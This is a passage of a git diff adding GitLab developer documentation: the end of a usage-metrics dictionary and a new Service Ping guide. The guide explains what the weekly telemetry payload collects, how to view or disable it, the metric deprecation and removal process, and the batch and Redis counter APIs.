+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_secret_detection_scans`
+
+Number of users who have run a Secret Detection scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210607043410_user_secret_detection_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.secure.user_unique_users_all_secure_scanners`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml)
+
+Group: `group::secure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.verify.ci_builds`
+
+Unique monthly builds in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175542_ci_builds.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_external_pipelines`
+
+Total pipelines in external repositories in a month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_internal_pipelines`
+
+Total pipelines in GitLab repositories in a month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_pipeline_config_auto_devops`
+
+Total pipelines from an Auto DevOps template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_pipeline_config_repository`
+
+Total Monthly Pipelines from templates in repository
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_pipeline_schedules`
+
+Total monthly Pipeline schedules in GitLab
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.ci_pipelines`
+
+Distinct users triggering pipelines in a month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175554_ci_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`, `free`
+
+### `usage_activity_by_stage_monthly.verify.ci_triggers`
+
+Total configured Triggers in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175556_ci_triggers.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.clusters_applications_runner`
+
+Total GitLab Managed clusters with Runner enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml)
+
+Group: `group::runner`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.verify.projects_reporting_ci_cd_back_to_github`
+
+Projects with a GitHub repository mirror pipeline enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175558_projects_reporting_ci_cd_back_to_github.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `uuid`
+
+GitLab instance unique identifier
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210201124933_uuid.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `version`
+
+Version of GitLab instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216175601_version.yml)
+
+Group: `group::distribution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `web_ide_clientside_preview_enabled`
+
+Whether Web IDE clientside preview is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
diff --git a/doc/development/service_ping/index.md b/doc/development/service_ping/index.md
new file mode 100644
index 00000000000..41a2022473a
--- /dev/null
+++ b/doc/development/service_ping/index.md
@@ -0,0 +1,1707 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Service Ping Guide **(FREE SELF)**
+
+> Introduced in GitLab Ultimate 11.2, more statistics.
+
+This guide describes Service Ping's purpose and how it's implemented.
+
+For more information about Product Intelligence, see:
+
+- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
+- [Snowplow Guide](../snowplow/index.md)
+
+More links:
+
+- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
+- [Data Analysis Process](https://about.gitlab.com/handbook/business-technology/data-team/#data-analysis-process/)
+- [Data for Product Managers](https://about.gitlab.com/handbook/business-technology/data-team/programs/data-for-product-managers/)
+- [Data Infrastructure](https://about.gitlab.com/handbook/business-technology/data-team/platform/infrastructure/)
+
+## What is Service Ping?
+
+Service Ping is a process in GitLab that collects and sends a weekly payload to GitLab Inc.
+The payload provides important high-level data that helps our product, support,
+and sales teams understand how GitLab is used. For example, the data helps to:
+
+- Compare counts month over month (or week over week) to get a rough sense for how an instance uses
+ different product features.
+- Collect other facts that help us classify and understand GitLab installations.
+- Calculate our Stage Monthly Active Users (SMAU), which helps to measure the success of our stages
+ and features.
+
+Service Ping information is not anonymous. It's linked to the instance's hostname. However, it does
+not contain project names, usernames, or any other specific data.
+
+Sending a Service Ping payload is optional and can be [disabled](#disable-service-ping) on any self-managed instance.
+When Service Ping is enabled, GitLab gathers data from the other instances
+and can show your instance's usage statistics to your users.
+
+### Terminology
+
+We use the following terminology to describe the Service Ping components:
+
+- **Service Ping**: the process that collects and generates a JSON payload.
+- **Service Data**: the contents of the Service Ping JSON payload. This includes metrics.
+- **Metrics**: primarily made up of row counts for different tables in an instance's database. Each
+ metric has a corresponding [metric definition](metrics_dictionary.md#metrics-definition-and-validation)
+ in a YAML file.
+
+### Why should we enable Service Ping?
+
+- The main purpose of Service Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
+- As a benefit of having Service Ping active, GitLab lets you analyze the users' activities over time of your GitLab installation.
+- As a benefit of having Service Ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance's adoption of Concurrent DevOps from planning to monitoring.
+- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
+- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
+- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
+- Service Ping is enabled by default. To disable it, see [Disable Service Ping](#disable-service-ping).
+- When Service Ping is enabled, you have the option to participate in our [Registration Features Program](#registration-features-program) and receive free paid features.
+
+#### Registration Features Program
+
+> Introduced in GitLab 14.1.
+
+Starting with GitLab version 14.1, free self-managed users running [GitLab EE](../ee_features.md) can receive paid features by registering with GitLab and sending us activity data via [Service Ping](#what-is-service-ping).
+
+The paid feature available in this offering is [Email from GitLab](../../tools/email.md).
+Administrators can use this [Premium](https://about.gitlab.com/pricing/premium/) feature to streamline
+their workflow by emailing all or some instance users directly from the Admin Area.
+
+NOTE:
+Registration is not yet required for participation, but will be added in a future milestone.
+
+### Limitations
+
+- Service Ping does not track frontend events things like page views, link clicks, or user sessions, and only focuses on aggregated backend events.
+- Because of these limitations we recommend instrumenting your products with Snowplow for more detailed analytics on GitLab.com and use Service Ping to track aggregated backend events on self-managed.
+
+## View the Service Ping payload **(FREE SELF)**
+
+You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload:
+
+1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**.
+1. Expand the **Usage statistics** section.
+1. Select **Preview payload**.
+
+For an example payload, see [Example Service Ping payload](#example-service-ping-payload).
+
+## Disable Service Ping **(FREE SELF)**
+
+NOTE:
+The method to disable Service Ping in the GitLab configuration file does not work in
+GitLab versions 9.3 to 13.12.3. See the [troubleshooting section](#cannot-disable-service-ping-using-the-configuration-file)
+on how to disable it.
+
+You can disable Service Ping either using the GitLab UI, or editing the GitLab
+configuration file.
+
+### Disable Service Ping using the UI
+
+To disable Service Ping in the GitLab UI:
+
+1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling**.
+1. Expand the **Usage statistics** section.
+1. Clear the **Enable service ping** checkbox.
+1. Select **Save changes**.
+
+### Disable Service Ping using the configuration file
+
+To disable Service Ping and prevent it from being configured in the future through
+the admin area:
+
+**For installations using the Linux package:**
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_rails['usage_ping_enabled'] = false
+ ```
+
+1. Reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+**For installations from source:**
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ # ...
+ gitlab:
+ # ...
+ usage_ping_enabled: false
+ ```
+
+1. Restart GitLab:
+
+ ```shell
+ sudo service gitlab restart
+ ```
+
+## Service Ping request flow
+
+The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, the GitLab S3 Bucket, the GitLab Snowflake Data Warehouse, and Sisense:
+
+```mermaid
+sequenceDiagram
+ participant GitLab Instance
+ participant Versions Application
+ participant Licenses Application
+ participant Salesforce
+ participant S3 Bucket
+ participant Snowflake DW
+ participant Sisense Dashboards
+ GitLab Instance->>Versions Application: Send Service Ping
+ loop Process usage data
+ Versions Application->>Versions Application: Parse usage data
+ Versions Application->>Versions Application: Write to database
+ Versions Application->>Versions Application: Update license ping time
+ end
+ loop Process data for Salesforce
+ Versions Application-xLicenses Application: Request Zuora subscription id
+ Licenses Application-xVersions Application: Zuora subscription id
+ Versions Application-xSalesforce: Request Zuora account id by Zuora subscription id
+ Salesforce-xVersions Application: Zuora account id
+ Versions Application-xSalesforce: Usage data for the Zuora account
+ end
+ Versions Application->>S3 Bucket: Export Versions database
+ S3 Bucket->>Snowflake DW: Import data
+ Snowflake DW->>Snowflake DW: Transform data using dbt
+ Snowflake DW->>Sisense Dashboards: Data available for querying
+ Versions Application->>GitLab Instance: DevOps Report (Conversational Development Index)
+```
+
+## How Service Ping works
+
+1. The Service Ping [cron job](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/gitlab_usage_ping_worker.rb#L30) is set in Sidekiq to run weekly.
+1. When the cron job runs, it calls [`Gitlab::UsageData.to_json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L22).
+1. `Gitlab::UsageData.to_json` [cascades down](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L22) to ~400+ other counter method calls.
+1. The response of all methods calls are [merged together](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L14) into a single JSON payload in `Gitlab::UsageData.to_json`.
+1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20)
+ If a firewall exception is needed, the required URL depends on several things. If
+ the hostname is `version.gitlab.com`, the protocol is `TCP`, and the port number is `443`,
+ the required URL is <https://version.gitlab.com/>.
+
+## Service Ping Metric Life cycle
+
+### 1. New metrics addition
+
+Please follow the [Implementing Service Ping](#implementing-service-ping) guide.
+
+### 2. Existing metric change
+
+Because we do not control when customers update their self-managed instances of GitLab,
+we **STRONGLY DISCOURAGE** changes to the logic used to calculate any metric.
+Any such changes lead to inconsistent reports from multiple GitLab instances.
+If there is a problem with an existing metric, it's best to deprecate the existing metric,
+and use it, side by side, with the desired new metric.
+
+Example:
+Consider following change. Before GitLab 12.6, the `example_metric` was implemented as:
+
+```ruby
+{
+ ...
+ example_metric: distinct_count(Project, :creator_id)
+}
+```
+
+For GitLab 12.6, the metric was changed to filter out archived projects:
+
+```ruby
+{
+ ...
+ example_metric: distinct_count(Project.non_archived, :creator_id)
+}
+```
+
+In this scenario all instances running up to GitLab 12.5 continue to report `example_metric`,
+including all archived projects, while all instances running GitLab 12.6 and higher filters
+out such projects. As Service Ping data is collected from all reporting instances, the
+resulting dataset includes mixed data, which distorts any following business analysis.
+
+The correct approach is to add a new metric for GitLab 12.6 release with updated logic:
+
+```ruby
+{
+ ...
+ example_metric_without_archived: distinct_count(Project.non_archived, :creator_id)
+}
+```
+
+and update existing business analysis artefacts to use `example_metric_without_archived` instead of `example_metric`
+
+### 3. Deprecate a metric
+
+If a metric is obsolete and you no longer use it, you can mark it as deprecated.
+
+For an example of the metric deprecation process take a look at this [example merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59899)
+
+To deprecate a metric:
+
+1. Check the following YAML files and verify the metric is not used in an aggregate:
+ - [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/)
+ - [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/)
+
+1. Create an issue in the [GitLab Data Team
+ project](https://gitlab.com/gitlab-data/analytics/-/issues). Ask for
+ confirmation that the metric is not used by other teams, or in any of the SiSense
+ dashboards.
+
+1. Verify the metric is not used to calculate the conversational index. The
+ conversational index is a measure that reports back to self-managed instances
+ to inform administrators of the progress of DevOps adoption for the instance.
+
+ You can check
+ [`CalculateConvIndexService`](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/calculate_conv_index_service.rb)
+ to view the metrics that are used. The metrics are represented
+ as the keys that are passed as a field argument into the `get_value` method.
+
+1. Document the deprecation in the metric's YAML definition. Set
+ the `status:` attribute to `deprecated`, for example:
+
+ ```yaml
+ ---
+ key_path: analytics_unique_visits.analytics_unique_visits_for_any_target_monthly
+ description: Visits to any of the pages listed above per month
+ product_section: dev
+ product_stage: manage
+ product_group: group::analytics
+ product_category:
+ value_type: number
+ status: deprecated
+ time_frame: 28d
+ data_source:
+ distribution:
+ - ce
+ tier:
+ - free
+ ```
+
+1. Replace the metric's instrumentation with a fixed value. This avoids wasting
+ resources to calculate the deprecated metric. In
+ [`lib/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb)
+ or
+ [`ee/lib/ee/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/usage_data.rb),
+ replace the code that calculates the metric's value with a fixed value that
+ indicates it's deprecated:
+
+ ```ruby
+ module Gitlab
+ class UsageData
+ DEPRECATED_VALUE = -1000
+
+ def analytics_unique_visits_data
+ results['analytics_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
+ results['analytics_unique_visits_for_any_target_monthly'] = DEPRECATED_VALUE
+
+ { analytics_unique_visits: results }
+ end
+ # ...
+ end
+ end
+ ```
+
+1. Update the Metrics Dictionary following [guidelines instructions](dictionary.md).
+
+### 4. Remove a metric
+
+Only deprecated metrics can be removed from Service Ping.
+
+For an example of the metric removal process take a look at this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/297029)
+
+To remove a deprecated metric:
+
+1. Verify that removing the metric from the Service Ping payload does not cause
+ errors in [Version App](https://gitlab.com/gitlab-services/version-gitlab-com)
+ when the updated payload is collected and processed. Version App collects
+ and persists all Service Ping reports. To do that you can modify
+ [fixtures](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/spec/support/usage_data_helpers.rb#L540)
+ used to test
+ [`UsageDataController#create`](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/3760ef28/spec/controllers/usage_data_controller_spec.rb#L75)
+ endpoint, and assure that test suite does not fail when metric that you wish to remove is not included into test payload.
+
+1. Create an issue in the
+ [GitLab Data Team project](https://gitlab.com/gitlab-data/analytics/-/issues).
+ Ask for confirmation that the metric is not referred to in any SiSense dashboards and
+ can be safely removed from Service Ping. Use this
+ [example issue](https://gitlab.com/gitlab-data/analytics/-/issues/7539) for guidance.
+ This step can be skipped if verification done during [deprecation process](#3-deprecate-a-metric)
+ reported that metric is not required by any data transformation in Snowflake data warehouse nor it is
+ used by any of SiSense dashboards.
+
+1. After you verify the metric can be safely removed,
+ update the attributes of the metric's YAML definition:
+
+ - Set the `status:` to `removed`.
+ - Set `milestone_removed:` to the number of the
+ milestone in which the metric was removed.
+
+ Do not remove the metric's YAML definition altogether. Some self-managed
+ instances might not immediately update to the latest version of GitLab, and
+ therefore continue to report the removed metric. The Product Intelligence team
+ requires a record of all removed metrics in order to identify and filter them.
+
+ For example please take a look at this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60149/diffs#b01f429a54843feb22265100c0e4fec1b7da1240_10_10).
+
+1. After you verify the metric can be safely removed,
+ remove the metric's instrumentation from
+ [`lib/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb)
+ or
+ [`ee/lib/ee/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/usage_data.rb).
+
+ For example please take a look at this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60149/diffs#6335dc533bd21df26db9de90a02dd66278c2390d_167_167).
+
+1. Remove any other records related to the metric:
+ - The feature flag YAML file at [`config/feature_flags/*/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/feature_flags).
+ - The entry in the known events YAML file at [`lib/gitlab/usage_data_counters/known_events/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/usage_data_counters/known_events).
+
+1. Update the Metrics Dictionary following [guidelines instructions](dictionary.md).
+
+## Implementing Service Ping
+
+Service Ping consists of two kinds of data, counters and observations. Counters track how often a certain event
+happened over time, such as how many CI pipelines have run. They are monotonic and always trend up.
+Observations are facts collected from one or more GitLab instances and can carry arbitrary data. There are no
+general guidelines around how to collect those, due to the individual nature of that data.
+
+There are several types of counters which are all found in `usage_data.rb`:
+
+- **Ordinary Batch Counters:** Simple count of a given ActiveRecord_Relation
+- **Distinct Batch Counters:** Distinct count of a given ActiveRecord_Relation in a given column
+- **Sum Batch Counters:** Sum the values of a given ActiveRecord_Relation in a given column
+- **Alternative Counters:** Used for settings and configurations
+- **Redis Counters:** Used for in-memory counts.
+
+NOTE:
+Only use the provided counter methods. Each counter method contains a built in fail safe to isolate each counter to avoid breaking the entire Service Ping.
+
+### Why batch counting
+
+For large tables, PostgreSQL can take a long time to count rows due to MVCC [(Multi-version Concurrency Control)](https://en.wikipedia.org/wiki/Multiversion_concurrency_control). Batch counting is a counting method where a single large query is broken into multiple smaller queries. For example, instead of a single query querying 1,000,000 records, with batch counting, you can execute 100 queries of 10,000 records each. Batch counting is useful for avoiding database timeouts as each batch query is significantly shorter than one single long running query.
+
+For GitLab.com, there are extremely large tables with 15 second query timeouts, so we use batch counting to avoid encountering timeouts. Here are the sizes of some GitLab.com tables:
+
+| Table | Row counts in millions |
+|------------------------------|------------------------|
+| `merge_request_diff_commits` | 2280 |
+| `ci_build_trace_sections` | 1764 |
+| `merge_request_diff_files` | 1082 |
+| `events` | 514 |
+
+The following operation methods are available for your use:
+
+- [Ordinary Batch Counters](#ordinary-batch-counters)
+- [Distinct Batch Counters](#distinct-batch-counters)
+- [Sum Batch Operation](#sum-batch-operation)
+- [Add Operation](#add-operation)
+- [Estimated Batch Counters](#estimated-batch-counters)
+
+Batch counting requires indexes on columns to calculate max, min, and range queries. In some cases,
+you may need to add a specialized index on the columns involved in a counter.
+
+### Ordinary Batch Counters
+
+Handles `ActiveRecord::StatementInvalid` error
+
+Simple count of a given `ActiveRecord_Relation`, does a non-distinct batch count, smartly reduces `batch_size`, and handles errors.
+
+Method: `count(relation, column = nil, batch: true, start: nil, finish: nil)`
+
+Arguments:
+
+- `relation` the ActiveRecord_Relation to perform the count
+- `column` the column to perform the count on, by default is the primary key
+- `batch`: default `true` to use batch counting
+- `start`: custom start of the batch counting to avoid complex min calculations
+- `end`: custom end of the batch counting to avoid complex min calculations
+
+Examples:
+
+```ruby
+count(User.active)
+count(::Clusters::Cluster.aws_installed.enabled, :cluster_id)
+count(::Clusters::Cluster.aws_installed.enabled, :cluster_id, start: ::Clusters::Cluster.minimum(:id), finish: ::Clusters::Cluster.maximum(:id))
+```
+
+### Distinct Batch Counters
+
+Handles `ActiveRecord::StatementInvalid` error
+
+Distinct count of a given `ActiveRecord_Relation` on given column, a distinct batch count, smartly reduces `batch_size`, and handles errors.
+
+Method: `distinct_count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)`
+
+Arguments:
+
+- `relation` the ActiveRecord_Relation to perform the count
+- `column` the column to perform the distinct count, by default is the primary key
+- `batch`: default `true` to use batch counting
+- `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter`
+- `start`: custom start of the batch counting to avoid complex min calculations
+- `end`: custom end of the batch counting to avoid complex min calculations
+
+WARNING:
+Counting over non-unique columns can lead to performance issues. Take a look at the [iterating tables in batches](../iterating_tables_in_batches.md) guide for more details.
+
+Examples:
+
+```ruby
+distinct_count(::Project, :creator_id)
+distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::User.minimum(:id), finish: ::User.maximum(:id))
+distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id')
+```
+
+### Sum Batch Operation
+
+Handles `ActiveRecord::StatementInvalid` error
+
+Sum the values of a given ActiveRecord_Relation on given column and handles errors.
+
+Method: `sum(relation, column, batch_size: nil, start: nil, finish: nil)`
+
+Arguments:
+
+- `relation` the ActiveRecord_Relation to perform the operation
+- `column` the column to sum on
+- `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter`
+- `start`: custom start of the batch counting to avoid complex min calculations
+- `end`: custom end of the batch counting to avoid complex min calculations
+
+Examples:
+
+```ruby
+sum(JiraImportState.finished, :imported_issues_count)
+```
+
+### Grouping & Batch Operations
+
+The `count`, `distinct_count`, and `sum` batch counters can accept an `ActiveRecord::Relation`
+object, which groups by a specified column. With a grouped relation, the methods do batch counting,
+handle errors, and returns a hash table of key-value pairs.
+
+Examples:
+
+```ruby
+count(Namespace.group(:type))
+# returns => {nil=>179, "Group"=>54}
+
+distinct_count(Project.group(:visibility_level), :creator_id)
+# returns => {0=>1, 10=>1, 20=>11}
+
+sum(Issue.group(:state_id), :weight))
+# returns => {1=>3542, 2=>6820}
+```
+
+### Add Operation
+
+Handles `StandardError`.
+
+Returns `-1` if any of the arguments are `-1`.
+
+Sum the values given as parameters.
+
+Method: `add(*args)`
+
+Examples
+
+```ruby
+project_imports = distinct_count(::Project.where.not(import_type: nil), :creator_id)
+bulk_imports = distinct_count(::BulkImport, :user_id)
+
+ add(project_imports, bulk_imports)
+```
+
+### Estimated Batch Counters
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233) in GitLab 13.7.
+
+Estimated batch counter functionality handles `ActiveRecord::StatementInvalid` errors
+when used through the provided `estimate_batch_distinct_count` method.
+Errors return a value of `-1`.
+
+WARNING:
+This functionality estimates a distinct count of a specific ActiveRecord_Relation in a given column,
+which uses the [HyperLogLog](http://algo.inria.fr/flajolet/Publications/FlFuGaMe07.pdf) algorithm.
+As the HyperLogLog algorithm is probabilistic, the **results always include error**.
+The highest encountered error rate is 4.9%.
+
+When correctly used, the `estimate_batch_distinct_count` method enables efficient counting over
+columns that contain non-unique values, which can not be assured by other counters.
+
+#### estimate_batch_distinct_count method
+
+Method: `estimate_batch_distinct_count(relation, column = nil, batch_size: nil, start: nil, finish: nil)`
+
+The [method](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/usage_data.rb#L63)
+includes the following arguments:
+
+- `relation`: The ActiveRecord_Relation to perform the count.
+- `column`: The column to perform the distinct count. The default is the primary key.
+- `batch_size`: From `Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE`. Default value: 10,000.
+- `start`: The custom start of the batch count, to avoid complex minimum calculations.
+- `finish`: The custom end of the batch count to avoid complex maximum calculations.
+
+The method includes the following prerequisites:
+
+1. The supplied `relation` must include the primary key defined as the numeric column.
+ For example: `id bigint NOT NULL`.
+1. The `estimate_batch_distinct_count` can handle a joined relation. To use its ability to
+ count non-unique columns, the joined relation **must NOT** have a one-to-many relationship,
+ such as `has_many :boards`.
+1. Both `start` and `finish` arguments should always represent primary key relationship values,
+ even if the estimated count refers to another column, for example:
+
+ ```ruby
+ estimate_batch_distinct_count(::Note, :author_id, start: ::Note.minimum(:id), finish: ::Note.maximum(:id))
+ ```
+
+Examples:
+
+1. Simple execution of estimated batch counter, with only relation provided,
+ returned value represents estimated number of unique values in `id` column
+ (which is the primary key) of `Project` relation:
+
+ ```ruby
+ estimate_batch_distinct_count(::Project)
+ ```
+
+1. Execution of estimated batch counter, where provided relation has applied
+ additional filter (`.where(time_period)`), number of unique values estimated
+ in custom column (`:author_id`), and parameters: `start` and `finish` together
+ apply boundaries that defines range of provided relation to analyze:
+
+ ```ruby
+ estimate_batch_distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::Note.minimum(:id), finish: ::Note.maximum(:id))
+ ```
+
+1. Execution of estimated batch counter with joined relation (`joins(:cluster)`),
+ for a custom column (`'clusters.user_id'`):
+
+ ```ruby
+ estimate_batch_distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id')
+ ```
+
+When instrumenting metric with usage of estimated batch counter please add
+`_estimated` suffix to its name, for example:
+
+```ruby
+ "counts": {
+ "ci_builds_estimated": estimate_batch_distinct_count(Ci::Build),
+ ...
+```
+
+### Redis Counters
+
+Handles `::Redis::CommandError` and `Gitlab::UsageDataCounters::BaseCounter::UnknownEvent`
+returns -1 when a block is sent or hash with all values -1 when a `counter(Gitlab::UsageDataCounters)` is sent
+different behavior due to 2 different implementations of Redis counter
+
+Method: `redis_usage_data(counter, &block)`
+
+Arguments:
+
+- `counter`: a counter from `Gitlab::UsageDataCounters`, that has `fallback_totals` method implemented
+- or a `block`: which is evaluated
+
+#### Ordinary Redis Counters
+
+Examples of implementation:
+
+- Using Redis methods [`INCR`](https://redis.io/commands/incr), [`GET`](https://redis.io/commands/get), and [`Gitlab::UsageDataCounters::WikiPageCounter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/wiki_page_counter.rb)
+- Using Redis methods [`HINCRBY`](https://redis.io/commands/hincrby), [`HGETALL`](https://redis.io/commands/hgetall), and [`Gitlab::UsageCounters::PodLogs`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_counters/pod_logs.rb)
+
+##### UsageData API Tracking
+
+<!-- There's nearly identical content in `##### Adding new events`. If you fix errors here, you may need to fix the same errors in the other location. -->
+
+1. Track event using `UsageData` API
+
+ Increment event count using ordinary Redis counter, for given event name.
+
+ Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is enabled by default.
+
+ API requests are protected by checking for a valid CSRF token.
+
+ To be able to increment the values, the related feature `usage_data_<event_name>` should be enabled.
+
+ ```plaintext
+ POST /usage_data/increment_counter
+ ```
+
+ | Attribute | Type | Required | Description |
+ | :-------- | :--- | :------- | :---------- |
+ | `event` | string | yes | The event name it should be tracked |
+
+ Response
+
+ - `200` if event was tracked
+ - `400 Bad request` if event parameter is missing
+ - `401 Unauthorized` if user is not authenticated
+ - `403 Forbidden` for invalid CSRF token provided
+
